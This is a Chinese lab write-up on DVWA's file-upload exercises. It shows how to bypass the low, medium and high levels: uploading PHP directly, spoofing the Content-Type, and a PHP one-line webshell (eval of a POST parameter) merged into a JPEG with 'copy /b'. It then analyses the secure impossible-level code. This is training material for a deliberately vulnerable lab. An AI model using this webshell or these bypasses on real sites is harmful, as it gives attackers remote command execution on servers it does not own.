DVWA靶场-文件上传
一、
low
级别
1
、该级别没有任何防护,直接.php文件上传即可。
二、
Medium
级别
1
、我们先尝试上传.php文件,发现上传失败。
2、我们使用burp suite抓包, 把上传的PHP文件伪装成image/jpeg文件再进行上传。
3、修改Content-Type为可执行的后缀名之后,在进行上传即可成功上传。
三、
High
级别
1
、我们尝试上传.php文件,发现上传失败。
2、我们可以利用一句话木马来进行绕过。
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
创建一个.txt文件,写入一句话木马,保存后重命名为.php文件
3、在命令行中输入
copy 1.jpeg/b+shell.php shell.jpg
生成图片马
4、以记事本方式打开新合并的文件shell.jpg,可以发现一句话木马已经写入图片。
5、上传图片马验证。
DVWA文件上传漏洞-impossible级别源码分析
源码如下:
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
//$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
// Is it an image?
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
( $uploaded_size < 100000 ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) ) {
// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );
// Can we move the file to the web root from the temp folder?
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
// Yes!
echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
}
else {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
// Delete any temp files
if( file_exists( $temp_file ) )
unlink( $temp_file );
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
impossible等级的安全策略以及过滤:
token
机制: 基于token的验证,随机数
MD5
: 针对于文件名做MD5加密
int_get()
函数: 获取一个配置选项的值
sys_get_temp_dir()
: 返回用于临时文件的目录
uniqid()
函数 : 基于以微秒计的当前时间,生成一个唯一的 ID,同时使用MD5()函数加密
imagecreatefromjpeg()
函数: 用于从文件或 URL 载入一幅图像
imagedestroy()
函数: 释放与 image 关联的内存
imagejpeg()
函数: 以 JPEG 格式将图像输出到浏览器或文件
通过分析源码可以看出impossible级别对上传文件的后缀,上传文件的类型,上传文件的大小做了严格的限制,并对上传的文件进行重命名,彻底杜绝文件上传漏洞